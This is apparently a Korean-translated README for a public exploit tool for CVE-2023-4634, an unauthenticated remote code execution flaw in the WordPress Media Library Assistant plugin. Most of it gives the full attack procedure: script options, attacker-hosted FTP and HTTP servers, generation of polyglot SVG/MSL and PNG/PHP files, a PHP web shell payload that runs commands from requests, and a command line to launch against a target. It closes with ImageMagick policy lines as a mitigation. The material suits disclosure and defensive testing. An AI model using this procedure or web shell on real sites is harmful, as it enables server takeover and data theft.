
CVE-2023-4634
Wordpress 플러그인 Media-Library Plugin < 3.10용 RCE 익스플로잇 (CVE-2023-4634)
Patrowl은 3.10 미만 버전의 Media-Librairy-Assistant Wordpress 플러그인에서 인증되지 않은 RCE 취약점을 발견했습니다. 이 익스플로잇은 간단하지 않으며 아래에 설명된 약간의 설정만 필요합니다.
이 익스플로잇에 대한 전체적인 발견 및 공격 과정은 블로그에서 확인할 수 있습니다: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
이 취약점의 탐지는 원격 FTP 서버에 대한 기본적인 DNS 확인을 통해 수행할 수 있습니다. nuclei 템플릿은 CVE-2023-4634.yaml에서 찾을 수 있습니다.
nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml
그런 다음 CVE-2023-4634.py 스크립트를 사용하여 전체 공격 및 RCE를 수행할 수 있습니다.
참고: LFI와 같은 더 간단한 공격을 트리거하는 데에도 스크립트를 사용할 수 있습니다. 특정 SVG를 제작하여 FTP에 호스팅하기만 하면 되며, 블로그의 권장 사항을 따르세요.
요구 사항 설치:
python3 -m pip install -r requirements.txt
그런 다음
python3 CVE-CVE-2023-4634.py -h
다음이 출력됩니다:
usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
[--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]
Exploit CVE-2023-4634 on Media-Library-Assistant version < 3.10
options:
-h, --help show this help message and exit
--target [TARGET] URL of the Target, ex http://victimwordpress.org
--remoteftp [REMOTEFTP]
URL of the remote FTP use to store SVGs files, ex ftp://X.X.X.X:PORT
--remotehttp [REMOTEHTTP]
URL of the remote HTTP use to store the final Polyglot PNG/PHP file, ex http://X.X.X.X:PORT
--svg_polyglot_name [SVG_POLYGLOT_NAME]
Name of the external polyglot SVG/MSL file used (for generation or final usage), example : poly.svg
--svg_exploiter_names [SVG_EXPLOITER_NAMES]
Name of the external VID bruteforcers file use, the FUZZ part will be replaced by the first letter bruteforced (for generation or final usage), ex: exploiter_FUZZ.svg
--png_polyglot_name [PNG_POLYGLOT_NAME]
Name of the external PNG/PHP to use (for generation or final usage), ex: exploiter_FUZZ.svg
--concurrency [CONCURRENCY]
Number of concurrent long SVG conversion requests to make ( default 100 )
--generatesvg, --no-generatesvg
Generate both polyglot SVG/MSL file and VID bruteforcer within the remote_ftp directory
--webserverpath WEBSERVERPATH
Path of the webserver on the victim server (could be found with the LFI and wp-config file) example: /var/www/html
--exploitname EXPLOITNAME
Dropped exploit name example: pwned.php
--generatepng, --no-generatepng
Generate polyglot PNG/PHP file, integrate php file with -payload option in exploit-png folder
--payload PAYLOAD PHP Payload to integrate in the PNG file ex: <?php phpinfo(); ?>
이제 공격이 동작하려면 원격 호스트에 다음을 설정해야 합니다:
Python을 사용하여 간단한 FTP 서버를 실행할 수 있습니다:
python3 -m pyftpdlib -p 2122
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<
설정이 완료되면 FTP 서버에 SVG/MSL 폴리글롯 파일과 모든 SVG 익스플로이터를 추가해야 합니다. 스크립트를 사용하여 쉽게 생성할 수 있습니다:
python3 CVE-2023-4634.py --generatesvg --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --remotehttp http://192.168.1.164:8081 --png_polyglot_name virus.png --webserverpath /var/www/html --exploitname pwned.php
remote_ftp 폴더에 다음을 생성합니다:
remotettp의 png_polyglot_name을 대상 경로(webserverpath + exploitname)에 저장하는 MSL을 포함합니다.스크립트는 또한 끝에 [0]이 붙은 svg 파일을 복사합니다 (poly.svg 및 poly.svg[0]). 공격이 동작하려면 두 파일이 모두 필요합니다.
생성된 모든 파일(일반 파일 및 [0] 파일)을 FTP 서버의 FTP 루트 디렉터리에 넣으세요. 다음과 같은 형태여야 합니다:
ls remote_ftp/
exploiter_-.svg exploiter_3.svg exploiter_7.svg exploiter_B.svg exploiter_F.svg exploiter_J.svg exploiter_N.svg exploiter_R.svg exploiter_V.svg exploiter_Z.svg
exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0]
exploiter_0.svg exploiter_4.svg exploiter_8.svg exploiter_C.svg exploiter_G.svg exploiter_K.svg exploiter_O.svg exploiter_S.svg exploiter_W.svg exploiter__.svg
exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0]
exploiter_1.svg exploiter_5.svg exploiter_9.svg exploiter_D.svg exploiter_H.svg exploiter_L.svg exploiter_P.svg exploiter_T.svg exploiter_X.svg poly.svg
exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0]
exploiter_2.svg exploiter_6.svg exploiter_A.svg exploiter_E.svg exploiter_I.svg exploiter_M.svg exploiter_Q.svg exploiter_U.svg exploiter_Y.svg
exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]
Python을 사용하여 간단한 HTTP 서버를 실행할 수 있습니다:
python3 -m http.server -p 8081
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<
폴리글롯 PNG/PHP 파일만 추가하면 됩니다. 스크립트를 사용하여 파일을 생성하고 원하는 페이로드를 포함할 수도 있습니다:
python3 CVE-2023-4634.py --generatepng --payload "<?php if(isset(\$_REQUEST['cmd'])){ echo \"<pre>\"; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo \"</pre>\"; die; }?>" --png_polyglot_name virus.png
이제 원격 FTP 서버와 HTTP 서버가 모두 준비되었으면 취약한 대상에 공격을 시작할 수 있습니다 (스크립트는 대상이 취약한 버전의 플러그인을 사용 중인지 확인합니다). 예시:
python3 CVE-2023-4634.py --target http://127.0.0.1 --remoteftp ftp://192.168.1.164:2122 --remotehttp http://192.168.1.164:8081 --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --png_polyglot_name virus.png --exploitname pwned.php
모든 것이 정상이라면 webserverpath 안에 exploitname이 드롭된 것을 확인할 수 있습니다 (익스플로잇 구성 방법에 따라 다름).
즐기세요!
비디오 클립을 만들었습니다.
https://github.com/Patrowl/CVE-2023-4634/assets/15944951/6f9d356f-f0ec-48df-9037-5f8a4b64e44f
<policy domain="coder" rights="none" pattern="SVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="MSVG" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="VID" />
다음 파일에 추가합니다:
/etc/ImageMagick-X/policy.xml